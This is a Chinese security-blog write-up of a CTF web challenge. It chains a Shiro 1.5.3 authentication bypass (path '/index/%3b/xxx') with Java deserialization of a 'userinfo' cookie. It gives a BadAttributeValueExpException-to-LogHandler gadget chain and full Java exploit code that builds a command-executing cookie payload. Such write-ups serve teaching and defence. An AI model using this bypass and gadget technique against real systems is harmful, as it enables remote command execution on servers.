freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java反序列化漏洞从入门到关门
KeePass 2021-04-27 14:51:03 488608

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞。

0x00 前言

近年来,工作中Java Web的项目越来越常见,并且逐渐取代了前几年php的辉煌地位。

在众多Java Web漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:ShiroFastjsonJBossWebLogicStructs2等等。

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java反序列化的入门文章,里面对Java的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java反序列化中的简单概念,仅从题目本身入手。

0x01 正文

题目本身是Web题目,并且提供了源码。

打开页面,登录窗口。

1610593532203

页面仅有一个登录窗口,尝试一波弱口令,无结果。

然后去看代码,jar包导入JD-GUI,随便点点。

大致文件结构如下:

1610593532203

其中ShiroConfig.class内容如下:

1610593532203

简单审计发现,index内容需要认证,也就是需要登录。

查看index对应的IndexController.class,发现存在反序列化点。

1610593532203

具体代码如下:

if (cookies != null) {
      for (Cookie c : cookies) {
        if (c.getName().equals("userinfo")) {
          exist = true;
          cookie = c;
          break;
        } 
      } 
    }
    if (exist) {
      byte[] bytes = Tools.base64Decode(cookie.getValue());
      user = (User)Tools.deserialize(bytes);
    } else {
      user = new User();
      user.setId(1);
      user.setName(name);
      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
      response.addCookie(cookie);
    } 

当访问index时,并且存在cookiekeyuserinfo时,会对其value进行deserialize

过程如下:

cookie[userinfo] --> base64decode --> deserialize

暂时思路是,登录之后,通过cookie进行反序列化。

但是由MyRealm.class可知,密码是随机的。

1610593532203

具体代码如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本为 1.5.3 ,存在CVE-2020-13933权限绕过漏洞。

根据 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx

但存在过滤器AllFilter.class

1610593532203

public class AllFilter implements IAllFilter {
  public String filter(String param) {
    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
    for (String i : keyWord) {
      param = param.replaceAll(i, "");
    }
    return param;
  }
}

AllFilter会对payload的字符进行过滤,经过尝试,最终有效payload/index/%3b/xxx

绕过权限之后,发现后台为日志记录。

1610593532203

涉及到LogHandler.class,在之后的后续反序列化会用到。

绕过权限之后,想办法反序列化。

要序列化的条件是,必须继承Java.io.Serializable接口。

在代码中寻找可被利用的class

发现LogHandler.class

1610593532203

其中存在命令执行点

public class LogHandler extends HashSet implements InvocationHandler {
  private static final long serialVersionUID = 1L;
  private String readLog = "tail /tmp/accessLog"; private Object target;
  private String writeLog = "echo /test >> /tmp/accessLog";
  
  public LogHandler() {}
  public LogHandler(Object target) { this.target = target; }
  
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
    return method.invoke(this.target, args);
  }
  public String toString() { return Tools.exeCmd(this.readLog); }
}

LogHandler继承了HashSet

HashSet继承了Java.io.Serializable接口。

HashSet部分代码如下:

package Java.util;

import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;

public class HashSet<E>
    extends AbstractSet<E>
    implements Set<E>, Cloneable, Java.io.Serializable{
    static final long serialVersionUID = -5024744406713321676L;
    ......

之后的pop链为:

deserialize --> LogHandler --> toString --> exeCmd (readLog)

条件:readLog可控 。

readLog为私有属性,可通过Java的反射机制访问属性值。

方法说明
getDeclaredField(String name)获得某个属性对

例如:

import Java.lang.reflect.*;
public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        
        Field aaa= UserClass.getDeclaredField("name");
        aaa.setAccessible(true);//私有属性,设置可访问
        aaa.set(user, "liuxigua");
    }
}

最终目的:寻找某个Java原生类,要求:重写readObject方法并且可调用可控类的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此类

BadAttributeValueExpException部分代码如下:

public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { 
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

可通过将val设置为logHandler类,最终在readObject时调用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode 

cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)

最终Gadgets

Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()-->  tools.Tools.exeCmd()

注意:payload的代码结构与文件位置需要与服务端代码结构与文件位置保持一致

package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;

public class Exp {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"touch /tmp/123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}

生成payload之后,在cookieuserinfo值填入,可执行命令。

1619750988_608b704c0ad72f2cbe73e.png!small?1619750989372

0x02 总结

众所周知,Java代码开发与Java代码审计,并不是充分必要条件。

你问我懂不懂Java,那我当然是不懂的。

你问我能不能搞Java代码审计,其实也不是不能搞。

作者:Obsidian

# 渗透测试 # web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 KeePass 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
网络实战攻防
JAVA代码审计
KeePass LV.5
宸极实验室,渗透测试/代码审计/红蓝对抗/CTF,base 济南,有问题可关注同名公众号后联系。
  • 36 文章数
  • 179 关注者
『红蓝对抗』内网渗透中 RDP 的那些事儿
2021-09-14
『渗透测试』记一次带防护的靶场渗透(一)
2021-09-08
『CTF』史上最全 RSA 题目总结
2021-09-08
文章目录